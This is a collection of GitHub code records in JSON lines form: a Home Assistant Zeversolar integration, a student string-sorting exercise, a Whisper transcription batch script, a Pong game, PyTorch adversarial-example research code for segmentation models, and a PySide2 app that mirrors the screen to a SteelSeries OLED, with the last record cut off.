{"seq_id": "14075322185", "text": "\"\"\"integrates a Zeversolar inverter to Home Assistant using its local API.\"\"\"\nfrom __future__ import annotations\n\nimport asyncio\nfrom datetime import timedelta\nimport logging\n\nfrom homeassistant.config_entries import ConfigEntry\nfrom homeassistant.const import CONF_HOST\nfrom homeassistant.core import HomeAssistant\nfrom homeassistant.exceptions import ConfigEntryNotReady\nfrom homeassistant.helpers.entity import DeviceInfo\n\nfrom .const import (\n    CONF_SERIAL_NO,\n    DOMAIN,\n    ENTRY_COORDINATOR,\n    ENTRY_DEVICE_INFO,\n    OPT_DATA_INTERVAL,\n    OPT_DATA_INTERVAL_VALUE,\n    PLATFORMS,\n    STARTUP_MESSAGE,\n)\nfrom .coordinator import ZeversolarApiCoordinator\nfrom .zever_local import ZeverSolarApiClient\n\n_LOGGER = logging.getLogger(__name__)\n\n\nasync def async_setup_entry(hass: HomeAssistant, entry: ConfigEntry) -> bool:\n    \"\"\"Set up this integration using UI.\"\"\"\n    if hass.data.get(DOMAIN) is None:\n        hass.data.setdefault(DOMAIN, {})\n        _LOGGER.info(STARTUP_MESSAGE)\n\n    # Set up Zeversolar Inverter local from a config entry.\n    host = entry.data.get(CONF_HOST)\n    # zever_id = entry.data.get(CONF_SERIAL_NO)\n\n    data_interval = entry.options.get(OPT_DATA_INTERVAL, OPT_DATA_INTERVAL_VALUE)\n\n    client = ZeverSolarApiClient(host)\n\n    try:\n        await client.inverter.async_connect()\n        coordinator = ZeversolarApiCoordinator(hass, client=client)\n        coordinator.update_interval = timedelta(seconds=data_interval)\n        await coordinator.async_refresh()\n\n        if not coordinator.last_update_success:\n            raise ConfigEntryNotReady\n\n    except Exception as err:\n        raise ConfigEntryNotReady from err\n\n    serial_number = entry.data[CONF_SERIAL_NO]\n\n    inverter_data = await coordinator.client.async_get_data()\n    hardware_version = inverter_data.hardware_version\n    software_version = inverter_data.software_version\n\n    device_info = DeviceInfo(\n        configuration_url=f\"http://{host}\",\n        # default_manufacturer: str\n        # default_model: str\n        # default_name: str\n        # entry_type: DeviceEntryType | None\n        identifiers={(DOMAIN, serial_number)},\n        manufacturer=\"Zeversolar\",\n        # model: str | None\n        name=f\"Zeversolar inverter '{serial_number}'\",\n        # suggested_area: str | None\n        sw_version=software_version,\n        hw_version=hardware_version,\n        # via_device: tuple[str, str]\n    )\n\n    # Store the deviceinfo and coordinator object for the platforms to access\n    hass.data[DOMAIN][entry.entry_id] = {\n        ENTRY_COORDINATOR: coordinator,\n        ENTRY_DEVICE_INFO: device_info,\n    }\n\n    for platform in PLATFORMS:\n        coordinator.platforms.append(platform)\n        hass.async_add_job(\n            hass.config_entries.async_forward_entry_setup(entry, platform)\n        )\n\n    # Wait to install the reload listener until everything was successfully initialized\n    entry.async_on_unload(entry.add_update_listener(async_options_update_listener))\n    return True\n\n\nasync def async_unload_entry(hass: HomeAssistant, entry: ConfigEntry) -> bool:\n    \"\"\"Handle removal of an entry.\"\"\"\n    coordinator = hass.data[DOMAIN][entry.entry_id][ENTRY_COORDINATOR]\n    unloaded = all(\n        await asyncio.gather(\n            *[\n                hass.config_entries.async_forward_entry_unload(entry, platform)\n                for platform in PLATFORMS\n                if platform in coordinator.platforms\n            ]\n        )\n    )\n    if unloaded:\n        hass.data[DOMAIN].pop(entry.entry_id)\n\n    return unloaded\n\n\nasync def async_reload_entry(hass: HomeAssistant, entry: ConfigEntry) -> None:\n    \"\"\"Reload config entry.\"\"\"\n    await async_unload_entry(hass, entry)\n    await async_setup_entry(hass, entry)\n\n\nasync def async_options_update_listener(\n    hass: HomeAssistant, config_entry: ConfigEntry\n) -> None:\n    \"\"\"Handle options update.\"\"\"\n    await hass.config_entries.async_reload(config_entry.entry_id)\n", "repo_name": "NECH2004/zeversolar_local", "sub_path": "custom_components/zeversolar_local/__init__.py", "file_name": "__init__.py", "file_ext": "py", "file_size_in_byte": 3939, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "logging.getLogger", "line_number": 27, "usage_type": "call"}, {"api_name": "homeassistant.core.HomeAssistant", "line_number": 30, "usage_type": "name"}, {"api_name": "homeassistant.config_entries.ConfigEntry", "line_number": 30, "usage_type": "name"}, {"api_name": "const.DOMAIN", "line_number": 32, "usage_type": "argument"}, {"api_name": "const.DOMAIN", "line_number": 33, "usage_type": "argument"}, {"api_name": "const.STARTUP_MESSAGE", "line_number": 34, "usage_type": "argument"}, {"api_name": "homeassistant.const.CONF_HOST", "line_number": 37, "usage_type": "argument"}, {"api_name": "const.OPT_DATA_INTERVAL", "line_number": 40, "usage_type": "argument"}, {"api_name": "const.OPT_DATA_INTERVAL_VALUE", "line_number": 40, "usage_type": "argument"}, {"api_name": "zever_local.ZeverSolarApiClient", "line_number": 42, "usage_type": "call"}, {"api_name": "coordinator.ZeversolarApiCoordinator", "line_number": 46, "usage_type": "call"}, {"api_name": "coordinator.update_interval", "line_number": 47, "usage_type": "attribute"}, {"api_name": "datetime.timedelta", "line_number": 47, "usage_type": "call"}, {"api_name": "coordinator.async_refresh", "line_number": 48, "usage_type": "call"}, {"api_name": "coordinator.last_update_success", "line_number": 50, "usage_type": "attribute"}, {"api_name": "homeassistant.exceptions.ConfigEntryNotReady", "line_number": 51, "usage_type": "name"}, {"api_name": "homeassistant.exceptions.ConfigEntryNotReady", "line_number": 54, "usage_type": "name"}, {"api_name": "const.CONF_SERIAL_NO", "line_number": 56, "usage_type": "name"}, {"api_name": "coordinator.client.async_get_data", "line_number": 58, "usage_type": "call"}, {"api_name": "coordinator.client", "line_number": 58, "usage_type": "attribute"}, {"api_name": "homeassistant.helpers.entity.DeviceInfo", "line_number": 62, "usage_type": "call"}, {"api_name": "const.DOMAIN", "line_number": 68, "usage_type": "name"}, {"api_name": "const.DOMAIN", "line_number": 79, "usage_type": "name"}, {"api_name": "const.ENTRY_COORDINATOR", "line_number": 80, "usage_type": "name"}, {"api_name": "const.ENTRY_DEVICE_INFO", "line_number": 81, "usage_type": "name"}, {"api_name": "const.PLATFORMS", "line_number": 84, "usage_type": "name"}, {"api_name": "coordinator.platforms.append", "line_number": 85, "usage_type": "call"}, {"api_name": "coordinator.platforms", "line_number": 85, "usage_type": "attribute"}, {"api_name": "homeassistant.core.HomeAssistant", "line_number": 95, "usage_type": "name"}, {"api_name": "homeassistant.config_entries.ConfigEntry", "line_number": 95, "usage_type": "name"}, {"api_name": "const.DOMAIN", "line_number": 97, "usage_type": "name"}, {"api_name": "const.ENTRY_COORDINATOR", "line_number": 97, "usage_type": "name"}, {"api_name": "asyncio.gather", "line_number": 99, "usage_type": "call"}, {"api_name": "const.PLATFORMS", "line_number": 102, "usage_type": "name"}, {"api_name": "coordinator.platforms", "line_number": 103, "usage_type": "attribute"}, {"api_name": "const.DOMAIN", "line_number": 108, "usage_type": "name"}, {"api_name": "homeassistant.core.HomeAssistant", "line_number": 113, "usage_type": "name"}, {"api_name": "homeassistant.config_entries.ConfigEntry", "line_number": 113, "usage_type": "name"}, {"api_name": "homeassistant.core.HomeAssistant", "line_number": 120, "usage_type": "name"}, {"api_name": "homeassistant.config_entries.ConfigEntry", "line_number": 120, "usage_type": "name"}]}
{"seq_id": "28551446895", "text": "from typing import List\ndef sortings(lst : List[str]) -> List[str]: # it takes list of strings as input and return list of strings\n    # write your code in this function only\n    # your's code start here \n\n    #to sort the given string copied from q2 \n    def sortstring(inpt : str) -> str: # it takes string as input and return string\n        # write your code in this function only\n        # your's code start here \n\n        lstofwords = list(inpt)\n        front = []\n\n        # print(lstofwords)\n\n        for i in range(0,10):\n            counter = 0\n            for j in range(0,len(lstofwords)):\n                if lstofwords[j] == str(i):\n                    counter = counter+1\n            if counter % 2 == 1:\n                for k in range(0,counter):\n                    lstofwords.remove(str(i))\n                    front.append(str(i))\n                        \n        # print (front)\n        # print(lstofwords)\n\n        final_lst = front + lstofwords\n        otpt = \"\"\n        for b in range(0,len(final_lst)):\n            otpt = otpt + str(final_lst[b])\n        \n        return otpt\n\n        # return your's string result\n        # your's code end here \n\n    # to sort individual strings in the input list according to q2 rules\n    for i in range(len(lst)):\n        lst[i] = sortstring(lst[i])\n\n    # to check if the given no is an base10 integer, similar to is numeric in python but from scratch\n    def isint(a:str)->bool:\n        for j in range(0,10):\n            if a == str(j):\n                return True\n        return False\n\n    # code to give the no in starting of sorted string\n    def extractnos(inpt: str)->str:\n        numeric = \"\"\n        i = 0\n        while( i<len(inpt) and isint(inpt[i]) == True):\n            numeric = (numeric) + inpt[i]\n            i = i + 1\n        return numeric\n\n    # return your's result (list of string) \n    # your's code end here \n    for i in range(len(lst)):\n        for j in range(i,len(lst)):\n            if (extractnos(lst[i]) != \"\" and extractnos(lst[j]) != \"\"):\n                if int(extractnos(lst[i]))>int(extractnos(lst[j])):\n                    lst[i],lst[j] = lst[j],lst[i]\n            elif (extractnos(lst[i]) == \"\" and extractnos(lst[j]) != \"\"):\n                lst[i],lst[i+1] = lst[i+1],lst[i]\n            elif (extractnos(lst[i]) != \"\" and extractnos(lst[j]) == \"\"):\n                continue\n    return lst\n\nif __name__==\"__main__\": # calling main (run automtically)\n    lst = []             # list that stores the input strings\n    num = int(input())   # taking input from user of number of strings of list\n    for i in range(num): # take input of all strings of list\n        inpt = input()\n        lst.append(inpt) # append each string into the list\n    lst = sortings(lst)  # calling function in which you have to write the code\n    print (lst)          # printing the output (list of strings) of your's function", "repo_name": "pranavktrpl/COL100", "sub_path": "A7/2021CE10480_A7/2021CE10480-q3.py", "file_name": "2021CE10480-q3.py", "file_ext": "py", "file_size_in_byte": 2893, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "typing.List", "line_number": 2, "usage_type": "name"}]}
{"seq_id": "8040977080", "text": "# This script decodes an entire folder of audio files using Whisper-timestamped.\n# If the transcription is already on the output directory, the audio file it is not decoded.\n# WhisperX provides timestamps with VAD, while Whisper-timestamped provides argmax of the timestamps\n# \n# Usage (on Ponyland):\n# It is possible to run mutliple instances in different Ponies (not the same since teh GPU is exclusive)\n# \n# #First Run the commands on step # 1. Setup (just for the first time)\n# ssh mistmane\n# nvidia-smi (see if at least one GPU is at 0% capacity, if not change to another Pony with GPUs)\n# cd /vol/tensusers5/ctejedor/whisper && source venv/bin/activate\n# python3 decode_whispertimestamped_folder.py input_folder whisper_model lang_code[0 for autom. detection] output_folder cache_model_folder prompts_folder[0 for none]\n# \n# Note: each pair of audio-prompt files must have the same name (different extension) in each corresponding folder (by default .prompt for the prompts extension)\n# Note: if the transcription is found in the output folder before the decoding, the file will be skipped.\n# @since 2023/02/07\n\n# Examples:\n# python3 decode_whispertimestamped_folder.py audio/examples tiny 0 output/nl /vol/tensusers5/ctejedor/whisper/models 0\n# nohup time python3 decode_whispertimestamped_folder.py audio/en tiny en output/en /vol/tensusers5/ctejedor/whisper/models 0 >> out.out &\n# nohup time python3 decode_whispertimestamped_folder.py /vol/tensusers5/ctejedor/whisper/audio/dart-long large-v2 nl output/dart-long /vol/tensusers5/ctejedor/whisper/models 0 >> out.out &\n# nohup time python3 decode_whispertimestamped_folder.py /vol/tensusers4/ctejedor/lanewcristianmachine/opt/kaldi/egs/kaldi_egs_CGN/s5/astla_is/kaldi_nl_input large nl output/dart-whisper-prompts-dis /vol/tensusers5/ctejedor/whisper/models /vol/tensusers4/ctejedor/lanewcristianmachine/opt/kaldi/egs/kaldi_egs_CGN/s5/astla_is/kaldi_nl_input_prompts >> out.out &\n\n# nohup time python3 decode_whispertimestamped_folder.py /vol/tensusers4/ctejedor/lanewcristianmachine/opt/kaldi/egs/kaldi_jasmin/Beeldverhaal/utterances large-v2 nl output/beeldverhaal /vol/tensusers5/ctejedor/whisper/models 0 >> out.out &\n\n\n# Improves the general output, change to False if needed:\ndo_VAD=True # No hallucinations\ndo_detect_disfluencies=True # [*] when a disfluence is found\ndo_precision=True # Better accuracy, higher latency\nm_pres={}\nif do_precision:\n    m_pres={'beam_size':5, 'best_of':5, 'temperature':(0.0, 0.2, 0.4, 0.6, 0.8, 1.0)}\nprint('\\n+++ INTERNAL PARAMETERS +++\\n','do_VAD',do_VAD,'do_detect_disfluencies',do_detect_disfluencies,'do_precision',do_precision)\n\nimport sys\nMY_DIR=sys.argv[1]\nMODEL=sys.argv[2]\nMODEL_LANG=sys.argv[3]\nOUTPUT_DIR=sys.argv[4]\nSTORE_MODEL=sys.argv[5]\nPROMPTS_FOLDER=sys.argv[6]\nPROMPT_EXTENSION='.prompt'\n\n\nNO_PARAM='0'\ncheck_initial_prompt=False if PROMPTS_FOLDER==NO_PARAM else True\nMODEL_LANG = None if MODEL_LANG == NO_PARAM else MODEL_LANG\n\n\nimport os\nfrom os.path import isfile, join\n\nimport json\nprint(\"Loading Whisper timestamped... \",end='')\nimport whisper_timestamped as whisper\nprint('done')\nfrom pathlib import Path\nprint(\"Downloading & loading model...\",MODEL)\nmodel = whisper.load_model(MODEL, download_root=STORE_MODEL)\n\n\nonlyfiles = [f for f in os.listdir(MY_DIR) if isfile(join(MY_DIR, f))]\n\nif not os.path.exists(OUTPUT_DIR):\n    print(\"Created directory\",OUTPUT_DIR)\n    os.makedirs(OUTPUT_DIR)\ncounter=1\nfor file in onlyfiles:\n    filebase = os.path.basename(file).rsplit('.', maxsplit=1)[0]\n    #This condition is optional, is to not repeat the decoding for files we already have the transcription in OUTPUT_DIR\n    if not Path(join(OUTPUT_DIR,filebase+'.txt')).is_file() or not Path(join(OUTPUT_DIR,filebase+'.json')).is_file():\n        print(str(counter), file)\n        audio = whisper.load_audio(join(MY_DIR,file))\n        result = ''\n        if check_initial_prompt:\n            with open(join(PROMPTS_FOLDER,filebase+PROMPT_EXTENSION)) as prompt_f:\n                try:\n                    result = whisper.transcribe(model, audio, **m_pres, vad=do_VAD, detect_disfluencies=do_detect_disfluencies, language = MODEL_LANG, initial_prompt=prompt_f.read().strip())\n                except:                    \n                    try:\n                        print(\"**-** Error --> \",str(counter), file, \"trying again without prompt...\")\n                        result = whisper.transcribe(model, audio, **m_pres, vad=do_VAD, detect_disfluencies=do_detect_disfluencies, language = MODEL_LANG)\n                        print(\"**-** Fixed --> \",str(counter), file, \" OK after trying without prompt...\")\n                    except:\n                        print(\"**-** Error again --> \",str(counter), file, \"skipping this file ...\")\n                        \n        else:\n            try:\n                result = whisper.transcribe(model, audio, **m_pres, vad=do_VAD, detect_disfluencies=do_detect_disfluencies, language = MODEL_LANG)\n            except Exception as ex:\n                print(\"**-** Error decoding --> \",str(counter), file, \"skipping this file ...\")\n                print(ex)\n\n        try:   \n                with open(join(OUTPUT_DIR,filebase+'.json'), \"w\") as outfile:\n                    outfile.write('' if type(result)==str else json.dumps(result, indent = 2, ensure_ascii = False))\n                # This does not include disfluences and other info, better use the json output and process the file\n                #with open(join(OUTPUT_DIR,filebase+'.txt'), \"w\") as outfile:\n                #    outfile.write('' if type(result)==str else result[\"text\"])\n        except:\n            print(\"**-** Error writing the model and metadata --> \",str(counter), file, \" not possible to write results ...\")\n        counter+=1\n\nprint('Total files decoded', str(counter-1))\nprint('See all **-** for errors')", "repo_name": "cristiantg/whisper-utils", "sub_path": "decode_whispertimestamped_folder.py", "file_name": "decode_whispertimestamped_folder.py", "file_ext": "py", "file_size_in_byte": 5838, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "81", "api": [{"api_name": "sys.argv", "line_number": 37, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 38, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 39, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 40, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 41, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 42, "usage_type": "attribute"}, {"api_name": "whisper_timestamped.load_model", "line_number": 60, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 63, "usage_type": "call"}, {"api_name": "os.path.isfile", "line_number": 63, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 63, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 65, "usage_type": "call"}, {"api_name": "os.path", "line_number": 65, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 67, "usage_type": "call"}, {"api_name": "os.path.basename", "line_number": 70, "usage_type": "call"}, {"api_name": "os.path", "line_number": 70, "usage_type": "attribute"}, {"api_name": "pathlib.Path", "line_number": 72, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 72, "usage_type": "call"}, {"api_name": "whisper_timestamped.load_audio", "line_number": 74, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 74, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 77, "usage_type": "call"}, {"api_name": "whisper_timestamped.transcribe", "line_number": 79, "usage_type": "call"}, {"api_name": "whisper_timestamped.transcribe", "line_number": 83, "usage_type": "call"}, {"api_name": "whisper_timestamped.transcribe", "line_number": 90, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 96, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 97, "usage_type": "call"}]}
{"seq_id": "72507622024", "text": "# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Wed May 25 08:49:13 2022\r\n\r\n@author: anujg\r\n\"\"\"\r\n\r\nfrom turtle import Screen\r\nfrom paddle import Paddle\r\nfrom ball import Ball\r\nfrom scoreboard import ScoreBoard\r\nimport time\r\n\r\nscreen = Screen()\r\nscreen.bgcolor(\"black\")\r\nscreen.title(\"Pong\")\r\nscreen.setup(width=800,height=600)\r\nscreen.tracer(0)\r\n\r\n#Paddle\r\nr_paddle = Paddle((350,0))\r\nl_paddle = Paddle((-350,0))\r\n\r\n#ball\r\nball = Ball()\r\n\r\n#Scoreboard\r\nscore = ScoreBoard()\r\n\r\nscreen.listen()\r\nscreen.onkeypress(r_paddle.go_up,\"Up\")\r\nscreen.onkeypress(r_paddle.go_down,\"Down\")\r\nscreen.onkeypress(l_paddle.go_up,\"w\")\r\nscreen.onkeypress(l_paddle.go_down,\"s\")\r\n\r\n\r\nspeed = 0.09\r\n\r\ngame_on = True\r\nwhile game_on:\r\n    time.sleep(speed)\r\n    screen.update()\r\n    \r\n    #detect wall\r\n    if ball.ycor() > 280 or ball.ycor() <-280:\r\n        ball.bounce_y()\r\n\r\n    # detect paddle collision\r\n    if ball.distance(r_paddle) < 50 and ball.xcor() > 320 or ball.distance(l_paddle) < 50 and ball.xcor() < -320:\r\n        ball.bounce_x()\r\n        speed = speed*0.5\r\n\r\n    if ball.xcor() > 380:\r\n        ball.refresh()\r\n        score.left_scores()\r\n        score.update_scores()\r\n        speed = 0.1\r\n\r\n    if ball.xcor() < -380:\r\n        ball.refresh()\r\n        score.right_scores()\r\n        score.update_scores()\r\n        speed = 0.1\r\n\r\n    ball.move()\r\n   \r\n\r\nscreen.exitonclick()", "repo_name": "AnujGandhi123/PingPong", "sub_path": "Pong.py", "file_name": "Pong.py", "file_ext": "py", "file_size_in_byte": 1360, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "turtle.Screen", "line_number": 14, "usage_type": "call"}, {"api_name": "paddle.Paddle", "line_number": 21, "usage_type": "call"}, {"api_name": "paddle.Paddle", "line_number": 22, "usage_type": "call"}, {"api_name": "ball.Ball", "line_number": 25, "usage_type": "call"}, {"api_name": "scoreboard.ScoreBoard", "line_number": 28, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 41, "usage_type": "call"}, {"api_name": "ball.ycor", "line_number": 45, "usage_type": "call"}, {"api_name": "ball.bounce_y", "line_number": 46, "usage_type": "call"}, {"api_name": "ball.distance", "line_number": 49, "usage_type": "call"}, {"api_name": "ball.xcor", "line_number": 49, "usage_type": "call"}, {"api_name": "ball.bounce_x", "line_number": 50, "usage_type": "call"}, {"api_name": "ball.xcor", "line_number": 53, "usage_type": "call"}, {"api_name": "ball.refresh", "line_number": 54, "usage_type": "call"}, {"api_name": "ball.xcor", "line_number": 59, "usage_type": "call"}, {"api_name": "ball.refresh", "line_number": 60, "usage_type": "call"}, {"api_name": "ball.move", "line_number": 65, "usage_type": "call"}]}
{"seq_id": "6711893724", "text": "import torch\nimport torch.nn as nn\nimport random\nimport torch.nn.functional as F\nimport time\nclass PartAttack():\n    def __init__(self, judger, categ2pids = None, num_class = None, c_classes = None, eps = 1 / 255, alpha = 1 / (255 * 8)):\n        self.judger = judger\n        self.eps = eps\n        self.alpha = alpha\n        self.num_class = num_class\n        self.c_classes = c_classes\n        self.categ2pids = categ2pids\n        self.indiceslist = []\n        masklist = []\n        for i in range(len(self.categ2pids)):\n            part_ids = self.categ2pids[i]\n            part_ids = torch.tensor(part_ids)\n            mask = torch.zeros(num_class)\n            mask[part_ids] += 1\n            masklist.append(mask.unsqueeze(1))\n        self.mask = torch.cat(masklist, dim = 1) # [num_classes, category]\n        self.l = torch.nn.CrossEntropyLoss()\n\n    def opt_attack(self, model, imgs, cids, random_start = False, \n                        return_single_grad = False, num_steps = 40):\n        model.eval()\n        adv_imgs = imgs.clone().detach()\n        if random_start:\n            adv_imgs = adv_imgs + torch.empty_like(adv_imgs).uniform_(-self.eps, self.eps)\n            adv_imgs = torch.clamp(adv_imgs, min=0, max=1).detach()\n        for j in range(num_steps):\n            with torch.enable_grad():\n                adv_imgs.requires_grad = True\n                pred = model(adv_imgs)\n                z = self.judger.eval(pred, return_grad = True)\n                loss = self.l(z, cids)\n                grad = torch.autograd.grad(loss, adv_imgs, retain_graph=False, create_graph=False)[0]\n                if return_single_grad:\n                    return grad.detach()\n\n                adv_imgs = adv_imgs.detach() + self.alpha * grad.sign()\n                delta = torch.clamp(adv_imgs - imgs, min=-self.eps, max=self.eps)\n                adv_imgs = torch.clamp(imgs + delta, min=0, max=1).detach()\n        return adv_imgs\n    \n\n    def DAG_attack(self, model, imgs, gt_label, cids, random_start = False, num_steps = 40, \n                        attacktype = \"targeted\", return_single_grad = False):    \n        model.eval()\n        wrong_label = self.__get_wrong_label(gt_label, cids, attacktype)\n        adv_imgs = imgs.clone().detach()\n\n\n        if random_start:\n            adv_imgs = adv_imgs + torch.empty_like(adv_imgs).uniform_(-self.eps, self.eps)\n            adv_imgs = torch.clamp(adv_imgs, min=0, max=1).detach()\n\n        one_hot = F.one_hot(cids, num_classes=self.c_classes)\n        for j in range(num_steps):\n            with torch.enable_grad():\n                adv_imgs.requires_grad = True\n                pred = model(adv_imgs)\n            \n                fgt_mask = F.one_hot(gt_label, self.num_class).transpose(2,3).transpose(1,2)\n                fgt = torch.mean(fgt_mask * pred,dim=1)\n\n                fwr_mask = F.one_hot(wrong_label, self.num_class).transpose(2,3).transpose(1,2)\n                fwr = torch.mean(fwr_mask * pred,dim=1)\n                if attacktype == \"untargeted\":\n                    loss = torch.sum((-fgt))\n                else:\n                    loss = torch.sum((fwr-fgt))\n                grad = torch.autograd.grad(loss, adv_imgs, retain_graph=False, create_graph=False)[0]\n\n                \n                if return_single_grad:\n                    return grad.detach()\n                \n                adv_imgs = adv_imgs.detach() + self.alpha * grad.sign()\n                delta = torch.clamp(adv_imgs - imgs, min=-self.eps, max=self.eps)\n                adv_imgs = torch.clamp(imgs + delta, min=0, max=1).detach()\n\n        return adv_imgs\n    \n\n    def __get_wrong_label(self, gt_label, ids, attacktype):\n        x = gt_label\n        if attacktype == \"targeted\":\n            x = x.clone()\n            xd = x.clone()\n            ss = [i for i in range(x.shape[0])]\n            for i in range(x.shape[0]):\n                random.shuffle(ss)\n                flag = False\n                for j in ss:\n                    if ids[i] != ids[j]:\n                        x[i] = xd[j]\n                        flag = True\n                        break\n                if not flag:\n                    x[i] = 0\n                    print(\"zero attack\")\n            return x\n        elif attacktype == \"background\" or attacktype == \"untargeted\":\n            return x - x\n        elif attacktype == \"random\":\n            target = torch.rand(x.shape).to(x.device) * self.num_class\n            return (1-(x==0).to(torch.int64)) * target.long()\n\n    \n", "repo_name": "TsukamotoShuchi/ROCK", "sub_path": "partattack.py", "file_name": "partattack.py", "file_ext": "py", "file_size_in_byte": 4497, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "81", "api": [{"api_name": "torch.tensor", "line_number": 18, "usage_type": "call"}, {"api_name": "torch.zeros", "line_number": 19, "usage_type": "call"}, {"api_name": "torch.cat", "line_number": 22, "usage_type": "call"}, {"api_name": "torch.nn.CrossEntropyLoss", "line_number": 23, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 23, "usage_type": "attribute"}, {"api_name": "torch.empty_like", "line_number": 30, "usage_type": "call"}, {"api_name": "torch.clamp", "line_number": 31, "usage_type": "call"}, {"api_name": "torch.enable_grad", "line_number": 33, "usage_type": "call"}, {"api_name": "torch.autograd.grad", "line_number": 38, "usage_type": "call"}, {"api_name": "torch.autograd", "line_number": 38, "usage_type": "attribute"}, {"api_name": "torch.clamp", "line_number": 43, "usage_type": "call"}, {"api_name": "torch.clamp", "line_number": 44, "usage_type": "call"}, {"api_name": "torch.empty_like", "line_number": 56, "usage_type": "call"}, {"api_name": "torch.clamp", "line_number": 57, "usage_type": "call"}, {"api_name": "torch.nn.functional.one_hot", "line_number": 59, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 59, "usage_type": "name"}, {"api_name": "torch.enable_grad", "line_number": 61, "usage_type": "call"}, {"api_name": "torch.nn.functional.one_hot", "line_number": 65, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 65, "usage_type": "name"}, {"api_name": "torch.mean", "line_number": 66, "usage_type": "call"}, {"api_name": "torch.nn.functional.one_hot", "line_number": 68, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 68, "usage_type": "name"}, {"api_name": "torch.mean", "line_number": 69, "usage_type": "call"}, {"api_name": "torch.sum", "line_number": 71, "usage_type": "call"}, {"api_name": "torch.sum", "line_number": 73, "usage_type": "call"}, {"api_name": "torch.autograd.grad", "line_number": 74, "usage_type": "call"}, {"api_name": "torch.autograd", "line_number": 74, "usage_type": "attribute"}, {"api_name": "torch.clamp", "line_number": 81, "usage_type": "call"}, {"api_name": "torch.clamp", "line_number": 82, "usage_type": "call"}, {"api_name": "random.shuffle", "line_number": 94, "usage_type": "call"}, {"api_name": "torch.rand", "line_number": 108, "usage_type": "call"}, {"api_name": "torch.int64", "line_number": 109, "usage_type": "attribute"}]}
{"seq_id": "37112600626", "text": "from PySide2.QtWidgets import QMainWindow,QApplication\nfrom PySide2.QtCore import QEvent\nfrom PySide2.QtGui import QStatusTipEvent\nfrom oled_display_mirror.main_ui import Ui_MainWindow\nimport sys\nfrom oled_display_mirror.main import OLED_Displayer,SCT\nimport threading\n\ndef is_int(s:str):\n    try:\n        int(s)\n        return True\n    except Exception:\n        return False\n\nvalid_oled_screens={\n    'screened-128x36: Rival 700, Rival 710':(128,36),\n    'screened-128x40: Apex 7, Apex 7 TKL, Apex Pro, Apex Pro TKL':(128,40),\n    'screened-128x48: Arctis Pro Wireless':(128,48),\n    'screened-128x52: GameDAC / Arctis Pro + GameDAC':(128,52)}\n\n\nclass Worker(threading.Thread):\n    def __init__(self,device_size,width,height):\n        super().__init__()\n        self.device_size=device_size\n        self.width=width\n        self.height=height\n        self.screen_bounds=(0,0,width,height)\n        self.kill=threading.Event()\n        \n    def stop(self):\n        self.kill.set()\n\n    def stopped(self):\n        return self.kill.is_set()\n\n    def run(self):\n        try:\n            shower=OLED_Displayer(self.screen_bounds,self.device_size)\n        except ConnectionError as e:\n            \n            return\n        else:\n            while True:\n                if self.stopped(): return\n                shower.run_frame()\n\n\nclass MainWindow(QMainWindow):\n    def __init__(self):\n        super(MainWindow, self).__init__()\n        self.ui = Ui_MainWindow()\n        self.ui.setupUi(self)\n        self.worker:Worker=None\n        \n        #add OLED devices\n        for scrn,size in valid_oled_screens.items():\n            self.ui.oled_device_box.addItem(scrn,size)\n        # self.ui.oled_device_box.currentIndexChanged.connect(lambda i:print(self.ui.oled_device_box.itemData(i)))\n        #set default res\n        monitors=SCT.monitors\n        width,height=[(monitor['width'],monitor['height']) for monitor in monitors if monitor['left']==0][0]\n        self.ui.width_text.setText(str(width))\n        self.ui.height_text.setText(str(height))\n        self.ui.start_button.pressed.connect(self.start_worker)\n        self.ui.stop_button.pressed.connect(self.stop_worker)\n        self.ui.stop_button.setDisabled(True)\n        self.event(QStatusTipEvent('https://github.com/wolfinabox/Steelseries-OLED-Display-Mirror'))\n        \n    def event(self, e):\n        if e.type() == QEvent.StatusTip:\n            if e.tip() == '':\n                e = QStatusTipEvent('https://github.com/wolfinabox/Steelseries-OLED-Display-Mirror')\n        return super().event(e)\n\n    def start_worker(self):\n        if self.worker is not None:return\n        if not is_int(self.ui.width_text.text()) or not is_int(self.ui.height_text.text()):\n            return\n        for t in (self.ui.width_text,self.ui.height_text,self.ui.start_button,self.ui.oled_device_box):\n            t.setDisabled(True)\n        self.ui.stop_button.setEnabled(True)\n        device_size=self.ui.oled_device_box.itemData(self.ui.oled_device_box.currentIndex())\n\n        self.worker=Worker(device_size,int(self.ui.width_text.text()),int(self.ui.height_text.text()))\n        self.worker.start()\n\n\n    def stop_worker(self):\n        self.worker.stop()\n        self.worker.join()\n        self.worker=None\n        for t in (self.ui.width_text,self.ui.height_text,self.ui.start_button,self.ui.oled_device_box):\n            t.setEnabled(True)\n        self.ui.stop_button.setDisabled(True)\n\n\ndef main(args):\n    app = QApplication(args)\n\n    window = MainWindow()\n    window.show()\n\n    sys.exit(app.exec_())\n\n\nif __name__ == \"__main__\":\n    sys.exit(main(sys.argv))\n", "repo_name": "wolfinabox/Steelseries-OLED-Display-Mirror", "sub_path": "oled_display_mirror/mainapp.py", "file_name": "mainapp.py", 